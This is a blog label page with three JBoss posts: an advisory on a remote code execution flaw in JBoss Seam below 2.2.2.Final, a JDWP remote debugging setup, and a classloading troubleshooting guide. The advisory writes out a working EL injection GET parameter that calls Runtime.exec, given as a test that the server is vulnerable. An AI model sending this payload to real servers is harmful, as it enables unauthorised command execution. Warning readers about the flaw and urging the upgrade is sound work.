Showing posts with label jboss. Show all posts
Showing posts with label jboss. Show all posts

Monday, September 3, 2012

Never use JBoss Seam version below 2.2.2.Final

Today it will be the small post about very significant security hole in JBoss Seam versions below 2.2.2.Final.

It is possible to execute malware code on your server through Seam application using only browser's address bar. To check the issue add this to your GET parameters(works for Linux):
actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[6].invoke(expressions.getClass().forName('java.lang.Runtime')).exec('mkdir%20/tmp/pwned')}

This code will create 'pwned' directory in /tmp/ directory.

To close this vulnerability just update your JBoss Seam to 2.2.2.Final.

In this post I used the material of this article.To read more check these links:
  1. JBoss Seam Framework remote code execution
  2. JBoss Seam2 privilege escalation caused by EL interpolation in FacesMessages
  3. Abusing JBOSS
  4. Good Bye Critical Jboss 0day

Friday, August 31, 2012

JBoss remote debugging

As all you well know debugging is very important part of the development process. In this post I will show you how to configure your JBoss AS to allow debugging deployed applications.

We need to configure JBoss's bin/run.conf file. Add the following line at the end:
JAVA_OPTS="-Xdebug -Xrunjdwp:transport=dt_socket,address=8787,server=y,suspend=n $JAVA_OPTS"

This options mean:
  • -Xdebug asks JBoss to work with debugging support
  • -Xrunjdwp loads JDWP (Java Debug Wire Protocol). This option has its own options:
    1. transport=dt_socket means that sockets will be used for transport
    2. address=8787 means the address(in this case it's the local machine's port 8787) where the socket will be opened
    3. server=y if it is set to 'y' then it means that JBoss will listen for debugger to attach; if it is set to 'n' then it means that JBoss will attach to the debugger at the specified address
    4. suspend=n if it is set to 'y' then it means that JBoss will be launched in the suspended mode and will stay suspended until the debugger is connected

You may also want to check how to debug remote application with Eclipse

Monday, October 24, 2011

How to make correct classloading using JBoss AS 5.1

After I have added new functionality to my project I've spent a lot of time trying to make it work with JBoss AS 5.1 . The problem was that JBoss AS 5.1 has some libraries in the package with itself (look $JBOSS_HOME/lib, $JBOSS_HOME/lib/endorsed, $JBOSS_HOME/common/lib) and I wanted to use different version then provided with JBoss. But let's tell about everything consequently.

At first I tried to do nothing specific and have just specified my maven dependencies with compile scope. And of course I got exception:
java.lang.ClassCastException: org.apache.xerces.jaxp.DocumentBuilderFactoryImpl cannot be cast to javax.xml.parsers.DocumentBuilderFactory
    at javax.xml.parsers.DocumentBuilderFactory.newInstance(Unknown Source)
    at org.apache.log4j.xml.DOMConfigurator.doConfigure(DOMConfigurator.java:694)
    at org.apache.log4j.xml.DOMConfigurator.doConfigure(DOMConfigurator.java:618)
    at org.apache.log4j.helpers.OptionConverter.selectAndConfigure(OptionConverter.java:470)
    at org.apache.log4j.LogManager.<clinit>(LogManager.java:122)
    ... 82 more

At first I got flabbergasted. What does this exception mean? I don't even use Apache Xerces in my project.
So that means one of libraries I use is dependent on it. Then I tried to write separate mock project for this newly added libraries. And it worked fine. Then it means JBoss is involved with this exception. And of course it is. JBoss had the xercesImpl.jar in $JBOSS_HOME/lib/endorsed.

So here we have version conflict. What can we do in this situation. There are some solutions to this situation:
  1. Remove all conflicting jars from your application (make all conflicting maven dependencies in provided scope). But in my opinion, this is bad idea, because
    • it would make the application dependent on Application Server
    • it may result in a lot of rework on currently good working code 
  2. Change JBoss AS libraries with the correct versions (all conflicting maven dependencies should be in provided scope). But it has another problems:
    • you have to reconfigure your server; if you develop in team then all your teammates have to do the same with their working environment;
    • it may result in LinkageError. In my case it meant that QName class was already loaded by boot Classloader and it means that I cannot use it in my classes(loaded by another Classloader). If you're interested about this error see link1 and link2.
      • java.lang.LinkageError: loader constraint violation: when resolving method
            "org.apache.axis2.description.AxisOperation.setName(Ljavax/xml/namespace/QName;)V"
            the class loader (instance of org/jboss/classloader/spi/base/BaseClassLoader) of 
            the current class, some/path/to/my/class, and the class loader 
            (instance of <bootloader>) for resolved class, 
            org/apache/axis2/description/AxisOperation, have different Class objects for 
            the type javax/xml/namespace/QName used in the signature
  3. Configure JBoss AS classloading for the war with jboss-classloading.xml in your war/ear/jar. This is the best solution on my opinion. Because your application would be still Application Server independent(other servers won't pay attention to this additional file) and does not require additional configuration of Application Server.
So let's discuss the third solution. At first you have to create new jboss-classloading.xml in the correct location:
  • If your application is WAR then place it in /WEB-INF/
  • If your application is EAR or JAR then place it in /META-INF/
And put configuration there. Here is the configuration that worked for me:
<classloading xmlns="urn:jboss:classloading:1.0"
    name="myApp.war"
    parent-first="false"
    domain="DefaultDomain"
    top-level-classloader="true"
    parent-domain="Ignored"
    export-all="NON_EMPTY"
    import-all="true">
</classloading>
The meaning of attributes:
  • name - usually the name of war/ear/jar
  • parent-first (true/false) - the classloader should load at first everything from your war/ear/jar and then from parent(in case of war/jar within ear it would mean ear, otherwise it's JBossAS)
  • domain - classloading domain, if it already exists then you will add your application there
  • top-level-classloader (true/false) - allows you to take part in parent classloading
  • parent-domain - delegates the classloading for the specified domain if the class is not available in the current domain
  • export-all - exposes your classes to other applications
  • import-all (true/false) - import exposes classes from other applications
That's all. In conclusion here is the links that helped me with this error: